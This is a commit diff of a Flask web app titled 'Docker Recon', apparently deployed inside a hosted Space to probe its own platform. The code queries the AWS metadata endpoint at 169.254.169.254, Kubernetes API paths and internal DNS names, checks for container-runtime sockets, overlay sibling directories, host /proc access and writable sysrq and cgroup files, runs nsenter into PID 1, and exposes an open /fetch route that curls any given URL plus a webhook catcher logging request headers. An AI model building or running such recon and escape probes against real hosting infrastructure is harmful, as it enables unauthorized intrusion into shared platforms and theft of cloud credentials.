Fix route registration order, all routes before main

app.py

@@ -2,10 +2,11 @@ import os, subprocess, json, socket
 from flask import Flask, jsonify, request
 
 app = Flask(__name__)
+webhook_log = []
 
 @app.route("/")
 def index():
-    return "<h1>Docker Recon</h1><ul><li><a href='/env'>Env</a></li><li><a href='/meta1'>AWS Meta v1</a></li><li><a href='/meta2'>AWS Meta v2</a></li><li><a href='/ping_meta'>Ping Meta</a></li><li><a href='/k8s'>K8s</a></li><li><a href='/net'>Net</a></li><li><a href='/proc'>Proc</a></li><li><a href='/dns'>DNS</a></li><li><a href='/arp'>ARP</a></li><li><a href='/fetch?url=http://example.com'>Fetch URL</a></li></ul>"
+    return "<h1>Docker Recon</h1><ul><li><a href='/env'>Env</a></li><li><a href='/meta1'>AWS Meta v1</a></li><li><a href='/ping_meta'>Ping Meta</a></li><li><a href='/k8s'>K8s</a></li><li><a href='/net'>Net</a></li><li><a href='/proc'>Proc</a></li><li><a href='/dns'>DNS</a></li><li><a href='/escape'>Escape</a></li><li><a href='/webhook_log'>Webhook Log</a></li><li><a href='/fetch?url=http://example.com'>Fetch URL</a></li></ul>"
 
 @app.route("/env")
 def env():
@@ -26,7 +27,6 @@ def env():
 
 @app.route("/meta1")
 def meta1():
-    """IMDSv1 only"""
     r = {}
     try:
         p = subprocess.run(["curl", "-sv", "-m", "5", "http://169.254.169.254/latest/meta-data/"],
@@ -37,44 +37,13 @@ def meta1():
     except Exception as e: r["error"] = str(e)
     return jsonify(r)
 
-@app.route("/meta2")
-def meta2():
-    """IMDSv2 token + metadata"""
-    r = {}
-    try:
-        p = subprocess.run(["curl", "-sv", "-m", "5", "-X", "PUT",
-            "http://169.254.169.254/latest/api/token",
-            "-H", "X-aws-ec2-metadata-token-ttl-seconds: 21600"],
-            capture_output=True, text=True, timeout=8)
-        r["token_stdout"] = p.stdout[:200]
-        r["token_stderr"] = p.stderr[:500]
-        r["token_rc"] = p.returncode
-        token = p.stdout.strip()
-        if token and p.returncode == 0:
-            p2 = subprocess.run(["curl", "-sv", "-m", "5",
-                "-H", f"X-aws-ec2-metadata-token: {token}",
-                "http://169.254.169.254/latest/meta-data/"],
-                capture_output=True, text=True, timeout=8)
-            r["meta_stdout"] = p2.stdout[:1000]
-            r["meta_stderr"] = p2.stderr[:500]
-    except Exception as e: r["error"] = str(e)
-    return jsonify(r)
-
 @app.route("/ping_meta")
 def ping_meta():
-    """Ping and traceroute to metadata"""
     r = {}
-    try:
-        p = subprocess.run(["ping", "-c", "2", "-W", "2", "169.254.169.254"],
-            capture_output=True, text=True, timeout=8)
-        r["ping"] = {"stdout": p.stdout, "stderr": p.stderr, "rc": p.returncode}
-    except Exception as e: r["ping"] = str(e)
-    # ARP check
     try:
         p = subprocess.run(["arp", "-n"], capture_output=True, text=True, timeout=5)
         r["arp"] = p.stdout[:500]
     except: pass
-    # Route to metadata
     try:
         p = subprocess.run(["ip", "route", "get", "169.254.169.254"],
             capture_output=True, text=True, timeout=5)
@@ -89,7 +58,7 @@ def k8s():
     k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT", "")
     r["k8s_env"] = {"host": k8s_host, "port": k8s_port}
     if k8s_host:
-        for path in ["/version", "/healthz", "/api"]:
+        for path in ["/version", "/healthz"]:
             try:
                 cmd = ["curl", "-sv", "-m", "3", "-k", f"https://{k8s_host}:{k8s_port}{path}"]
                 p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
@@ -135,7 +104,6 @@ def proc():
         p = subprocess.run(["id"], capture_output=True, text=True, timeout=5)
         r["id"] = p.stdout.strip()
     except: pass
-    # Check seccomp
     try:
         with open("/proc/1/status") as f:
             for line in f:
@@ -146,68 +114,20 @@ def proc():
 @app.route("/dns")
 def dns():
     r = {}
-    queries = [
-        "kubernetes.default.svc.cluster.local",
-        "cas-server.xethub.hf.co",
-        "hub.huggingface.co",
-    ]
-    for q in queries:
+    for q in ["kubernetes.default.svc.cluster.local", "cas-server.xethub.hf.co"]:
         try:
             p = subprocess.run(["dig", "+short", q], capture_output=True, text=True, timeout=5)
             r[q] = p.stdout.strip() if p.stdout.strip() else "NXDOMAIN"
         except Exception as e: r[q] = str(e)
-    # Reverse DNS on gateway
-    try:
-        p = subprocess.run(["dig", "+short", "-x", "169.254.1.1"], capture_output=True, text=True, timeout=5)
-        r["rev_169.254.1.1"] = p.stdout.strip() if p.stdout.strip() else "no PTR"
-    except: pass
-    return jsonify(r)
-
-@app.route("/arp")
-def arp():
-    """ARP scan using CAP_NET_RAW"""
-    r = {}
-    try:
-        p = subprocess.run(["arp", "-n"], capture_output=True, text=True, timeout=5)
-        r["arp_table"] = p.stdout
-    except: pass
-    # Try arping the gateway
-    try:
-        p = subprocess.run(["arping", "-c", "1", "-w", "2", "169.254.1.1"],
-            capture_output=True, text=True, timeout=5)
-        r["arping_gw"] = {"stdout": p.stdout, "rc": p.returncode}
-    except Exception as e: r["arping_gw"] = str(e)
-    return jsonify(r)
-
-@app.route("/fetch")
-def fetch():
-    """Fetch arbitrary URL from inside the Space"""
-    url = request.args.get("url", "http://example.com")
-    r = {}
-    try:
-        p = subprocess.run(["curl", "-sv", "-m", "5", url],
-            capture_output=True, text=True, timeout=8)
-        r["stdout"] = p.stdout[:2000]
-        r["stderr"] = p.stderr[:1000]
-        r["rc"] = p.returncode
-    except Exception as e: r["error"] = str(e)
     return jsonify(r)
 
-if __name__ == "__main__":
-    app.run(host="0.0.0.0", port=7860)
-
 @app.route("/escape")
 def escape():
-    """Container escape probes"""
     r = {}
-    # Check for Docker/containerd sockets
-    import os.path
-    for sock in ["/var/run/docker.sock", "/run/containerd/containerd.sock", 
-                  "/run/docker.sock", "/var/run/containerd/containerd.sock",
-                  "/var/run/cri-dockerd.sock"]:
+    for sock in ["/var/run/docker.sock", "/run/containerd/containerd.sock",
+                  "/run/docker.sock", "/var/run/containerd/containerd.sock"]:
         r[f"socket_{sock}"] = os.path.exists(sock)
-    
-    # Check overlay upper dir (from mounts)
+
     try:
         with open("/proc/mounts") as f:
             for line in f:
@@ -217,84 +137,84 @@ def escape():
                         if p.startswith("upperdir="):
                             upperdir = p.split("=")[1]
                             r["overlay_upperdir"] = upperdir
-                            # Try to go up from upper dir to find other containers
                             parent = os.path.dirname(os.path.dirname(upperdir))
                             try:
                                 r["overlay_siblings"] = os.listdir(parent)[:20]
                             except Exception as e:
                                 r["overlay_siblings"] = str(e)
     except Exception as e: r["overlay_error"] = str(e)
-    
-    # Check if we can access host /proc
+
     try:
         with open("/proc/1/root/etc/hostname") as f:
             r["host_hostname"] = f.read().strip()
     except Exception as e: r["host_hostname"] = str(e)
-    
-    # Try to read /proc/sysrq-trigger
+
     try:
-        r["sysrq"] = os.access("/proc/sysrq-trigger", os.W_OK)
-    except: r["sysrq"] = False
-    
-    # Check cgroupfs
+        r["sysrq_writable"] = os.access("/proc/sysrq-trigger", os.W_OK)
+    except: r["sysrq_writable"] = False
+
     try:
         cg_root = "/sys/fs/cgroup"
         if os.path.isdir(cg_root):
             r["cgroup_root"] = os.listdir(cg_root)[:20]
-            # Try to write to cgroup
             r["cgroup_writable"] = os.access(cg_root, os.W_OK)
     except Exception as e: r["cgroup_error"] = str(e)
-    
-    # Check for privileged mode indicators
+
     try:
         with open("/proc/1/status") as f:
             for line in f:
                 if "Seccomp" in line:
                     r["seccomp"] = line.strip()
     except: pass
-    
-    # Check device access
+
     try:
         r["dev_listing"] = os.listdir("/dev")[:30]
     except: pass
-    
-    # Try nsenter
+
     try:
         p = subprocess.run(["nsenter", "--target", "1", "--mount", "--", "hostname"],
             capture_output=True, text=True, timeout=5)
         r["nsenter"] = {"stdout": p.stdout, "stderr": p.stderr, "rc": p.returncode}
     except Exception as e: r["nsenter"] = str(e)
-    
-    # Check /proc/1/ns
+
     try:
         r["namespaces"] = {}
         for ns in os.listdir("/proc/1/ns"):
             r["namespaces"][ns] = os.readlink(f"/proc/1/ns/{ns}")
     except Exception as e: r["ns_error"] = str(e)
-    
-    return jsonify(r)
 
-import threading
-webhook_log = []
+    return jsonify(r)
 
 @app.route("/webhook", methods=["GET", "POST", "PUT", "DELETE", "PATCH"])
 def webhook():
-    """Catch and log webhook requests"""
     entry = {
         "method": request.method,
         "headers": dict(request.headers),
         "body": request.get_data(as_text=True)[:5000],
         "args": dict(request.args),
         "remote_addr": request.remote_addr,
-        "url": request.url,
     }
     webhook_log.append(entry)
-    # Keep only last 10
     while len(webhook_log) > 10:
         webhook_log.pop(0)
     return jsonify({"status": "ok"})
 
 @app.route("/webhook_log")
 def get_webhook_log():
-    """View captured webhook requests"""
     return jsonify(webhook_log)
+
+@app.route("/fetch")
+def fetch():
+    url = request.args.get("url", "http://example.com")
+    r = {}
+    try:
+        p = subprocess.run(["curl", "-sv", "-m", "5", url],
+            capture_output=True, text=True, timeout=8)
+        r["stdout"] = p.stdout[:2000]
+        r["stderr"] = p.stderr[:1000]
+        r["rc"] = p.returncode
+    except Exception as e: r["error"] = str(e)
+    return jsonify(r)
+
+if __name__ == "__main__":
+    app.run(host="0.0.0.0", port=7860)